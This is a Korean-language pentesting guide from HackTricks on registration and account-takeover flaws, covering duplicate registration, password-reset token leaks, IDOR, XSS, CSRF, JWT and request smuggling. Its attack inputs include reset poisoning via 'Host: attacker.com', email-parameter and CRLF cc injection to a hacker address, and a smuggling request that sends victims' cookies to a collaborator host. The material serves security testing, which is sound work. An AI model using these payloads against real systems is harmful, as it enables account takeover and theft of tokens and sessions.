hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-10 21:30:13 +00:00

9.9 KiB

등록 및 탈취 취약점

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

등록 탈취

중복 등록

  • 기존 사용자 이름을 사용하여 생성을 시도하세요.
  • 이메일을 다양하게 확인하세요:
  • 대문자
  • +1@
  • 이메일에 점을 추가하세요.
  • 이메일 이름에 특수 문자 (%00, %09, %20)를 추가하세요.
  • 이메일 뒤에 검은 문자를 넣으세요: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

사용자 이름 열거

응용 프로그램 내에서 이미 사용자 이름이 등록되었는지 확인하세요.

비밀번호 정책

사용자를 생성할 때 비밀번호 정책을 확인하세요 (약한 비밀번호를 사용할 수 있는지 확인하세요).
이 경우 자격 증명을 브루트 포스할 수 있습니다.

SQL 인젝션

이 페이지를 확인하여 등록 양식에서 SQL 인젝션을 사용하여 계정 탈취 또는 정보 추출을 시도하는 방법을 알아보세요.

Oauth 탈취

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML 취약점

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

이메일 변경

등록한 후 이메일을 변경하고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요.

추가 확인 사항

  • 일회용 이메일을 사용할 수 있는지 확인하세요.
  • 비밀번호 (>200)는 DoS로 이어집니다.
  • 계정 생성에 대한 속도 제한을 확인하세요.
  • username@burp_collab.net을 사용하고 callback을 분석하세요.

비밀번호 재설정 탈취

Referrer를 통한 비밀번호 재설정 토큰 누출

  1. 이메일 주소로 비밀번호 재설정을 요청하세요.
  2. 비밀번호 재설정 링크를 클릭하세요.
  3. 비밀번호를 변경하지 마세요.
  4. 제3자 웹사이트(예: Facebook, Twitter)를 클릭하세요.
  5. Burp Suite 프록시에서 요청을 가로채세요.
  6. referer 헤더가 비밀번호 재설정 토큰을 누출하는지 확인하세요.

비밀번호 재설정 독살

  1. Burp Suite에서 비밀번호 재설정 요청을 가로채세요.
  2. 다음 헤더를 Burp Suite에 추가하거나 편집하세요: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. 수정된 헤더로 요청을 전달하세요.
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. _host 헤더_를 기반으로 비밀번호 재설정 URL을 찾으세요. 예: https://attacker.com/reset-password.php?token=TOKEN

이메일 매개변수를 통한 비밀번호 재설정

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

API 매개변수에서의 IDOR

  1. 공격자는 자신의 계정으로 로그인하고 비밀번호 변경 기능으로 이동해야 합니다.
  2. Burp Suite를 시작하고 요청을 가로채기(intercept) 모드로 설정합니다.
  3. 요청을 repeater 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

약한 비밀번호 재설정 토큰

비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.
토큰이 만료되는지 또는 항상 동일한지 확인하려고 시도하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수들이 알고리즘에 사용될 수 있습니다.

  • 타임스탬프
  • 사용자 ID
  • 사용자 이메일
  • 이름과 성
  • 생년월일
  • 암호화
  • 숫자만
  • 작은 토큰 시퀀스 (문자 [A-Z,a-z,0-9] 사이)
  • 토큰 재사용
  • 토큰 만료 날짜

비밀번호 재설정 토큰 노출

  1. 특정 이메일(e.g: test@mail.com)을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다.
  2. 서버 응답을 검사하고 resetToken을 확인합니다.
  3. 그런 다음 다음과 같은 URL에서 토큰을 사용합니다: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

사용자명 충돌을 통한 비밀번호 재설정

  1. 희생자의 사용자명과 동일한 사용자명을 가진 사용자로 시스템에 등록하되 사용자명 앞 또는 뒤에 공백을 삽입합니다. 예: "admin "
  2. 악의적인 사용자명으로 비밀번호 재설정을 요청합니다.
  3. 이메일로 전송된 토큰을 사용하여 희생자의 비밀번호를 재설정합니다.
  4. 새로운 비밀번호로 희생자 계정에 로그인합니다.

CTFd 플랫폼은 이러한 공격에 취약했습니다.
참조: CVE-2020-7245

크로스 사이트 스크립팅을 통한 계정 탈취

  1. 애플리케이션 또는 하위 도메인에서 XSS를 찾습니다. 쿠키가 상위 도메인에 대해 범위(scope)로 설정되어 있는 경우: *.domain.com
  2. 현재 세션 쿠키를 노출시킵니다.
  3. 쿠키를 사용하여 사용자로 인증합니다.

HTTP 요청 스머글링을 통한 계정 탈취

1. smuggler를 사용하여 HTTP 요청 스머글링 유형을 감지합니다 (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 다음 데이터로 POST / HTTP/1.1를 덮어쓸 요청을 작성합니다:
GET http://something.burpcollaborator.net HTTP/1.1 X: 희생자를 burpcollab로 리디렉션하여 쿠키를 도용합니다.
3. 최종 요청은 다음과 같을 수 있습니다.

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

해커원 보고서에서 이 버그를 악용했습니다.

CSRF를 통한 계정 탈취

  1. CSRF를 위한 페이로드 생성, 예: "비밀번호 변경을 위한 자동 제출 HTML 폼"
  2. 페이로드 전송

JWT를 통한 계정 탈취

JSON Web Token은 사용자 인증에 사용될 수 있습니다.

  • 다른 사용자 ID/이메일로 JWT 편집
  • 약한 JWT 서명 확인

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: